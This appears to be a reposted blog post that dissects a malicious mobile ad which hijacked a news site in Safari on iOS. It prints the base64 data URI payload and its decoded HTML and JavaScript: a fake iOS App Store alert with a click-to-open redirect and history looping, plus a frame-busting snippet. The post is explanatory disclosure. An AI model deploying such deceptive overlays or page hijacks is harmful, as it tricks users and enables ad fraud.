cm

March 22, 2023

Anatomy of an Ad-based Clickjacker

This is an old post from 2017 that used to exist on a blog that has since been deleted. Here it is, exhumed from the digital dustbin.

UPDATE: it looks like this issue in Safari on iOS (see below) may have been addressed by release 10.3.

So I was browsing a super cool website the other day (just kidding it was rollcall dot com) in Safari on an iPhone and all of the sudden I get a pop-up asking me to go to the app store.

Excuse me?

Then I noticed the browser location was a data URI:

data:text/html;base64,PCFET0NUWVBFIGh0bWw+DQo8aHRtbD4NCgk8aGVhZD4NCgkJPG1ldGEgY2hhcnNldD0iVVRGLTgiLz4NCgkJPHNjcmlwdCB0eXBlPSJhcHBsaWNhdGlvbi9qYXZhc2NyaXB0IiBzcmM9Imh0dHA6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LTEuMTAuMi5taW4uanMiPjwvc2NyaXB0Pg0KCQk8c2NyaXB0IHR5cGU9ImFwcGxpY2F0aW9uL2phdmFzY3JpcHQiIHNyYz0iaHR0cDovL2Z0bGFicy5naXRodWIuaW8vZmFzdGNsaWNrL2xpYi9mYXN0Y2xpY2suanMiPjwvc2NyaXB0Pg0KCQkNCgkJPHRpdGxlPjwvdGl0bGU+DQoJCQ0KCQk8c3R5bGU+DQoJCQkjbWFpbiwjcG9wdXAge2JhY2tncm91bmQ6cmdiYSgyNTUsMjU1LDI1NSwyNTUpfWJvZHl7Zm9udC1mYW1pbHk6SGVsdmV0aWNhICJIZWx2ZXRpY2EgTnVldWUiIEFyaWFsfSNtYWlue21hcmdpbjowIGF1dG87d2lkdGg6MTAwJTtoZWlnaHQ6MTAwJTtwb3NpdGlvbjpmaXhlZDt0b3A6MDtyaWdodDowfSNvdmVybGF5LCNwb3B1cCwuYnV0dG9uLWhvbGRlcntwb3NpdGlvbjphYnNvbHV0ZX0jb3ZlcmxheXtiYWNrZ3JvdW5kOnJnYmEoMCwwLDAsLjMpO3RvcDowO2xlZnQ6MDtyaWdodDowO2JvdHRvbTowfSNwb3B1cHt3aWR0aDoyNTBweDtoZWlnaHQ6MTI4cHg7ei1pbmRleDoxMDtib3JkZXItcmFkaXVzOjE1cHg7dGV4dC1hbGlnbjpjZW50ZXI7Ym94LXNpemluZzpib3JkZXItYm94O2xlZnQ6NTAlO3RvcDo1MCU7bWFyZ2luOi02NHB4IDAgMCAtMTI1cHg7Zm9udC1zaXplOjE0cHh9I3BvcHVwIGgze21hcmdpbjowO3BhZGRpbmc6MjBweDtsaW5lLWhlaWdodDoyMnB4fSNwb3B1cCBwe21hcmdpbjowO3BhZGRpbmc6MH0jcG9wdXAgLmJ1dHRvbi1ob2xkZXIgYXtjb2xvcjojMDA3QUZGO3RleHQtZGVjb3JhdGlvbjpub25lO2xpbmUtaGVpZ2h0OjQ1cHg7ZGlzcGxheTpibG9jaztib3JkZXItdG9wOjFweCBzb2xpZCAjZWZlZmVmO2ZvbnQtc2l6ZToxNnB4fSNwb3B1cCAudHdvLWJ1dHRvbiBhe3dpZHRoOjUwJTtmbG9hdDpsZWZ0O2JveC1zaXppbmc6Ym9yZGVyLWJveH0jcG9wdXAgLnR3by1idXR0b24gYTpmaXJzdC1jaGlsZHtib3JkZXItcmlnaHQ6MXB4IHNvbGlkICNlZmVmZWZ9LmJ1dHRvbi1ob2xkZXJ7d2lkdGg6MTAwJTtib3R0b206MH0NCgkJPC9zdHlsZT4gDQoJCQ0KCQk8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEuMCwgbWF4aW11bS1zY2FsZT0xLjAsIG1pbmltdW0tc2NhbGU9MS4wLCB1c2VyLXNjYWxhYmxlPW5vLCBtaW5pbWFsLXVpIj4NCgk8L2hlYWQ+DQoJPGJvZHk+IA0KCQk8ZGl2IGlkPSJtYWluIj4gDQoJCQk8ZGl2IGlkPSJvdmVybGF5Ij48L2Rpdj4NCgkJCTxkaXYgaWQ9InBvcHVwIj4gDQoJCQkJPGgzPiANCgkJCQkJPHA+T3BlbiB0aGlzIHBhZ2UgaW4gIkFwcDwvcD4NCgkJCQkJPHA+U3RvcmUiPzwvcD4NCgkJCQk8L2gzPiANCgkJCQk8ZGl2IGNsYXNzPSJidXR0b24taG9sZGVyIHR3by1idXR0b24iPiANCgkJCQkJPGE+PGI+Q2FuY2VsPC9iPjwvYT4gDQoJCQkJCTxhPk9wZW48L2E+IA0KCQkJCQk8ZGl2IHN0eWxlPSJjbGVhcjogYm90aCI+PC9kaXY+DQoJCQkJPC9kaXY+DQoJCQk8L2Rpdj4NCgkJPC9kaXY+DQoJCTxzY3JpcHQgdHlwZT0iYXBwbGljYXRpb24vamF2YXNjcmlwdCI+DQoJCQkkKGRvY3VtZW50KS5yZWFkeShmdW5jdGlvbigpIHsNCgkJCQl2YXIgZXhlY3V0ZWQgPSBmYWxzZTsgDQoJCQkJJChmdW5jdGlvbigpIHsNCgkJCQkJRmFzdENsaWNrLmF0dGFjaChkb2N1bWVudC5ib2R5KTsNCgkJCQl9KTsgDQoJCQkJDQoJCQkJZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcignY2xpY2snLCBmdW5jdGlvbihlKSB7DQoJCQkJCWlmICghZXhlY3V0ZWQpIHsNCgkJCQkJCXdpbmRvdy5vcGVuKCJodHRwczovL3d3dy5ueXRpbWVzLmNvbSIpOw0KCQkJCQkJc2V0VGltZW91dChmdW5jdGlvbigpIHsNCgkJCQkJCQl3aW5kb3cuaGlzdG9yeS5iYWNrKCk7DQoJCQkJCQl9LCAzMDAwKTsgDQoJCQkJCQkNCgkJCQkJCWV4ZWN1dGVkID0gdHJ1ZTsNCgkJCQkJfQ0KCQkJCQkNCgkJCQkJd2luZG93Lm9udG91Y2htb3ZlID0gbnVsbDsNCgkJCQl9LCBmYWxzZSk7IA0KCQkJCQ0KCQkJCXdpbmRvdy5vbnRvdWNobW92ZSA9IHByZXZlbnREZWZhdWx0OyANCgkJCQlzZXRUaW1lb3V0KGZ1bmN0aW9uKCkgew0KCQkJCQl3aW5kb3cub250b3VjaG1vdmUgPSBudWxsOw0KCQkJCX0sIDE1MDAwKTsNCgkJCX0pOw0KCQkJDQoJCQlmdW5jdGlvbiBwcmV2ZW50RGVmYXVsdChlKSB7DQoJCQkJZSA9IGUgfHwgd2luZG93LmV2ZW50OyANCgkJCQlpZiAoZS5wcmV2ZW50RGVmYXVsdCkgZS5wcmV2ZW50RGVmYXVsdCgpOyANCgkJCQllLnJldHVyblZhbHVlPWZhbHNlOw0KCQkJfTsNCgkJPC9zY3JpcHQ+DQoJPC9ib2R5Pg0KPC9odG1sPg==

Naturally, I copied it and decoded it.  It was a whole new HTML document (aka, webpage):

#main,#popup {background:rgba(255,255,255,255)}body{font-family:Helvetica "Helvetica Nueue" Arial}#main{margin:0 auto;width:100%;height:100%;position:fixed;top:0;right:0}#overlay,#popup,.button-holder{position:absolute}#overlay{background:rgba(0,0,0,.3);top:0;left:0;right:0;bottom:0}#popup{width:250px;height:128px;z-index:10;border-radius:15px;text-align:center;box-sizing:border-box;left:50%;top:50%;margin:-64px 0 0 -125px;font-size:14px}#popup h3{margin:0;padding:20px;line-height:22px}#popup p{margin:0;padding:0}#popup .button-holder a{color:#007AFF;text-decoration:none;line-height:45px;display:block;border-top:1px solid #efefef;font-size:16px}#popup .two-button a{width:50%;float:left;box-sizing:border-box}#popup .two-button a:first-child{border-right:1px solid #efefef}.button-holder{width:100%;bottom:0}

<div id="main">
  <div id="overlay"></div>
  <div id="popup">
    <h3>Open this page in "App Store"?</h3>
    <div class="button-holder two-button">
      <a><b>Cancel</b></a>
      <a>Open</a>
      <div style="clear:both;"></div>
    </div>
  </div>
</div>

$(document).ready(function() {
  var executed = false;
  $(function() {
    FastClick.attach(document.body);
  });

  document.addEventListener('click', function(e) {
    if (!executed) {
      window.open("https://example.com/"); // This is the URL I changed!
      setTimeout(function() {
        window.history.back();
      }, 3000);

      executed = true;
    }

    window.ontouchmove = null;
  }, false);

  window.ontouchmove = preventDefault;
  setTimeout(function() {
    window.ontouchmove = null;
  }, 15000);
});

function preventDefault(e) {
  e = e || window.event;
  if (e.preventDefault) e.preventDefault();
  e.returnValue=false;
};

Note: I changed the URL in the open window method to a well-known domain. It was previously a subdomain of voluumtrk2 dot com.  That domain may be legitimately run, but I don't know.  Whois tells me it's probably an ad provider based in Poland.

So what happened?  I loaded the Roll Call website which loaded some ads.  At least one of the ads had some JavaScript which must have been something like this:

window.onload = function() {
  window.parent.open("data:text/html;base64,");
};

That JavaScript will insert a data URI into the parent window's location, thus 'redirecting' to the new page (it's more like replacing the current page). If you look at the html (the second code example above - this is what I was redirected to) you might notice that the it creates a fake iOS alert pop-up by simply styling an HTML modal! Clicking anywhere on the page would actually open the voluumtrk2 URL. Looking at the JavaScript after the modal in the same document you can see some setIntervals and a use of window.history which, after the initial redirect, sometimes resulted in a loop - taking you back to the original page where the whole thing would happen again because an ad with the script was loaded again. It also leverages fastclick (a fairly commonly used library to give a faster/crisper feel to touch interactions on mobile web) and also jQuery for some reason.

In summary: this ad, and I'm assuming it was an ad,  took advantage of a 'frame busting' technique (usually prevented by content providers) to replace the current webpage with a  clickjacking page.  The purpose seemed to be to download an app, because at that point a deep link would appear on a pop-up modal that looked exactly like an iOS alert pop-up, which when tapped would open the app store.  Unfortunately, I don't recall the name of the app.

About cm